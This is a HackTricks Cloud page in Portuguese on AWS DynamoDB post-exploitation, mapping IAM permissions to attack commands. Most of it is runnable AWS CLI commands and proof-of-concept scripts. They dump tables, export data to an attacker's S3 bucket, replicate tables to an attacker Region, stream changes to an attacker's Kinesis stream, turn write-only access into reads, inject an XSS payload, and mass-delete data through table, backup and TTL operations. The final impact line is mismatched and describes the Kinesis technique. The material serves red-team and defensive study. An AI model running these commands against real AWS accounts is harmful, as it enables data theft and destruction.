AWS - DynamoDB Post Exploitation
Reading time: 18 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
DynamoDB
Para mais informações, consulte:
dynamodb:BatchGetItem
Um atacante com essa permissão poderá obter itens de tabelas pela chave primária (você não pode simplesmente solicitar todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obtê-las consultando os metadados da tabela (describe-table).
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
Impacto Potencial: Indireto privesc ao localizar informações sensíveis na tabela
dynamodb:GetItem
Semelhante às permissões anteriores, esta permite que um potencial atacante leia valores de apenas 1 tabela, dada a chave primária da entrada a ser recuperada:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
Com essa permissão também é possível usar o método transact-get-items como:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Impacto potencial: Privesc indireto ao localizar informações sensíveis na tabela
dynamodb:Query
Semelhante às permissões anteriores esta permite que um atacante potencial leia valores de apenas 1 tabela dado a chave primária da entrada a recuperar. Permite usar um subset of comparisons, mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", portanto você não pode usar uma comparação para obter todo o DB em uma requisição.
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
Impacto Potencial: Indirect privesc ao localizar informações sensíveis na tabela
dynamodb:Scan
Você pode usar essa permissão para dump a tabela inteira facilmente.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Impacto Potencial: privesc indireto ao localizar informações sensíveis na tabela
dynamodb:PartiQLSelect
Você pode usar esta permissão para fazer dump de toda a tabela facilmente.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Esta permissão também permite executar batch-execute-statement como:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
mas você precisa especificar a chave primária com um valor, então não é tão útil.
Impacto Potencial: Privesc indireto ao localizar informações sensíveis na tabela
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Essa permissão permitirá que um atacante exporte a tabela inteira para um bucket S3 de sua escolha:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Observe que, para isso funcionar, a tabela precisa ter point-in-time-recovery ativado; você pode verificar se a tabela tem point-in-time-recovery com:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
Se não estiver habilitado, você precisará habilitá-lo e, para isso, precisa da permissão dynamodb:ExportTableToPointInTime:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Impacto Potencial: Indirect privesc ao localizar informações sensíveis na tabela
dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)
Com essas permissões, um atacante seria capaz de criar uma nova tabela a partir de um backup (ou até criar um backup para então restaurá-lo em uma tabela diferente). Em seguida, com as permissões necessárias, ele poderia consultar informações dos backups que não estivessem mais na tabela de produção.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Impacto potencial: Indirect privesc ao localizar informações sensíveis no backup da tabela
dynamodb:PutItem
Esta permissão permite que usuários adicionem um novo item à tabela ou substituam um item existente por um novo item. Se um item com a mesma chave primária já existir, o item inteiro será substituído pelo novo item. Se a chave primária não existir, um novo item com a chave primária especificada será criado.
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
Impacto Potencial: Exploração de vulnerabilidades/bypasses adicionais ao poder adicionar/modificar dados em uma tabela do DynamoDB
dynamodb:UpdateItem
Esta permissão permite que usuários modifiquem os atributos existentes de um item ou adicionem novos atributos a um item. Ela não substitui o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação criará um novo item com a chave primária especificada e definirá os atributos especificados na expressão de atualização.
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
Impacto potencial: Exploração de vulnerabilities/bypasses adicionais por poder adicionar/modificar dados em uma tabela DynamoDB
dynamodb:DeleteTable
Um atacante com essa permissão pode excluir uma tabela DynamoDB, causando perda de dados.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Impacto potencial: Perda de dados e interrupção de serviços que dependem da tabela excluída.
dynamodb:DeleteBackup
Um atacante com essa permissão pode excluir um backup do DynamoDB, potencialmente causando perda de dados em um cenário de recuperação de desastres.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Impacto potencial: Perda de dados e incapacidade de recuperar a partir de um backup durante um cenário de recuperação de desastre.
dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords
note
TODO: Testar se isto realmente funciona
Um atacante com essas permissões pode ativar um stream em uma tabela DynamoDB, atualizar a tabela para iniciar o streaming de alterações e então acessar o stream para monitorar as alterações na tabela em tempo real. Isso permite que o atacante monitore e exfiltre alterações de dados, potencialmente levando a data leakage.
- Ativar um stream em uma tabela DynamoDB:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Descreva o stream para obter o ARN e outros detalhes:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Obtenha o shard iterator usando o stream ARN:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Use o shard iterator para acessar e exfiltrate dados do stream:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Impacto potencial: Monitoramento em tempo real e vazamento de dados das alterações na tabela DynamoDB.
Ler itens via dynamodb:UpdateItem and ReturnValues=ALL_OLD
Um atacante com apenas dynamodb:UpdateItem em uma tabela pode ler itens sem nenhuma das permissões de leitura usuais (GetItem/Query/Scan) realizando uma atualização inofensiva e solicitando --return-values ALL_OLD. DynamoDB retornará a imagem completa do item antes da atualização no campo Attributes da resposta (isso não consome RCUs).
- Permissões mínimas:
dynamodb:UpdateItemna tabela/chave alvo. - Pré-requisitos: Você deve conhecer a chave primária do item.
Exemplo (adiciona um atributo inofensivo e exfiltrates o item anterior na resposta):
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>
A resposta do CLI incluirá um bloco Attributes contendo o item anterior completo (todos os atributos), fornecendo efetivamente uma primitiva de leitura a partir de acesso apenas de escrita.
Impacto Potencial: Ler itens arbitrários de uma tabela com apenas permissões de escrita, permitindo exfiltração de dados sensíveis quando as chaves primárias são conhecidas.
dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica
Exfiltração furtiva ao adicionar uma nova réplica de Região a uma DynamoDB Global Table (versão 2019.11.21). Se um principal puder adicionar uma réplica regional, toda a tabela será replicada para a Região escolhida pelo atacante, de onde o atacante pode ler todos os itens.
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>
# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>
Permissões: dynamodb:UpdateTable (com replica-updates) ou dynamodb:CreateTableReplica na tabela alvo. Se um CMK for usado na réplica, permissões KMS para essa chave podem ser necessárias.
Impacto Potencial: Replicação da tabela inteira para uma Região controlada por um atacante levando à exfiltração de dados de forma furtiva.
dynamodb:TransactWriteItems (leitura via condição falhada + ReturnValuesOnConditionCheckFailure=ALL_OLD)
Um atacante com privilégios de gravação transacional pode exfiltrar os atributos completos de um item existente realizando um Update dentro de TransactWriteItems que intencionalmente faz falhar uma ConditionExpression enquanto define ReturnValuesOnConditionCheckFailure=ALL_OLD. Em caso de falha, o DynamoDB inclui os atributos anteriores nos motivos de cancelamento da transação, efetivamente transformando acesso apenas de gravação em acesso de leitura das chaves alvo.
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON
# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
Permissões: dynamodb:TransactWriteItems na tabela alvo (e no item subjacente). Nenhuma permissão de leitura é necessária.
Impacto potencial: Ler itens arbitrários (pela chave primária) de uma tabela usando apenas privilégios de escrita transacional via os motivos de cancelamento retornados.
dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query no Índice Secundário Global (GSI)
Contorne restrições de leitura criando um Global Secondary Index (GSI) com ProjectionType=ALL em um atributo de baixa entropia, definindo esse atributo com um valor constante em todos os itens e então executando Query no índice para recuperar os itens completos. Isso funciona mesmo se Query/Scan na tabela base for negado, desde que você possa consultar o ARN do índice.
- Permissões mínimas:
dynamodb:UpdateTablena tabela alvo (para criar o GSI comProjectionType=ALL).dynamodb:UpdateItemnas chaves da tabela alvo (para definir o atributo indexado em cada item).dynamodb:Queryno ARN do recurso do índice (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).
Etapas (PoC em us-east-1):
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done
# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done
# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
Impacto Potencial: Exfiltração completa da tabela consultando um GSI recém-criado que projeta todos os atributos, mesmo quando as APIs de leitura da tabela base são negadas.
dynamodb:EnableKinesisStreamingDestination (Exfiltração contínua via Kinesis Data Streams)
Abusar dos destinos de streaming Kinesis do DynamoDB para exfiltrar continuamente alterações de uma tabela para um Kinesis Data Stream controlado pelo atacante. Uma vez habilitado, todo evento INSERT/MODIFY/REMOVE é encaminhado quase em tempo real para o stream sem necessidade de permissões de leitura na tabela.
Permissões mínimas (atacante):
dynamodb:EnableKinesisStreamingDestinationna tabela alvo- Opcionalmente
dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTablepara monitorar o status - Permissões de leitura no Kinesis stream controlado pelo atacante para consumir registros:
kinesis:*
PoC (us-east-1)
# 1) Prepare: create a table and seed one item
aws dynamodb create-table --table-name HTXKStream \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item1.json --region us-east-1
# /tmp/htx_item1.json
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
# 2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
# 3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
# Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
# 4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item2.json --region us-east-1
# /tmp/htx_item2.json
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream \
--key file:///tmp/htx_key_a1.json \
--update-expression "SET #i = :v" \
--expression-attribute-names {#i:info} \
--expression-attribute-values {:v:{S:updated}} \
--region us-east-1
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
# 5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
--query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
# Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
# 6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
dynamodb:UpdateTimeToLive
Um atacante com a permissão dynamodb:UpdateTimeToLive pode alterar a configuração de TTL (tempo de expiração) de uma tabela — habilitando ou desabilitando o TTL. Quando o TTL está habilitado, itens individuais que contêm o atributo TTL configurado serão automaticamente excluídos assim que o tempo de expiração for alcançado. O valor TTL é apenas mais um atributo em cada item; itens sem esse atributo não são afetados pela exclusão baseada em TTL.
Se os itens ainda não contiverem o atributo TTL, o atacante também precisaria de uma permissão que atualize itens (por exemplo dynamodb:UpdateItem) para adicionar o atributo TTL e disparar exclusões em massa.
Primeiro habilite o TTL na tabela, especificando o nome do atributo a ser usado para expiração:
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
Em seguida, atualize os itens para adicionar o atributo TTL (epoch seconds) para que eles expirem e sejam removidos:
aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime
Um atacante com as permissões dynamodb:RestoreTableFromAwsBackup ou dynamodb:RestoreTableToPointInTime pode criar novas tabelas restauradas a partir de backups ou de point-in-time recovery (PITR) sem sobrescrever a tabela original. A tabela restaurada contém uma imagem completa dos dados no ponto selecionado, portanto o atacante pode usá-la para exfiltrate informações históricas ou obter um dump completo do estado anterior do banco de dados.
Restore a DynamoDB table from an on-demand backup:
aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>
Restaurar uma tabela do DynamoDB para um ponto no tempo (criar uma nova tabela com o estado restaurado):
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time
Impacto Potencial: Exfiltração contínua, quase em tempo real, das alterações da tabela para um Kinesis stream controlado por um atacante sem operações de leitura diretas na tabela.
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud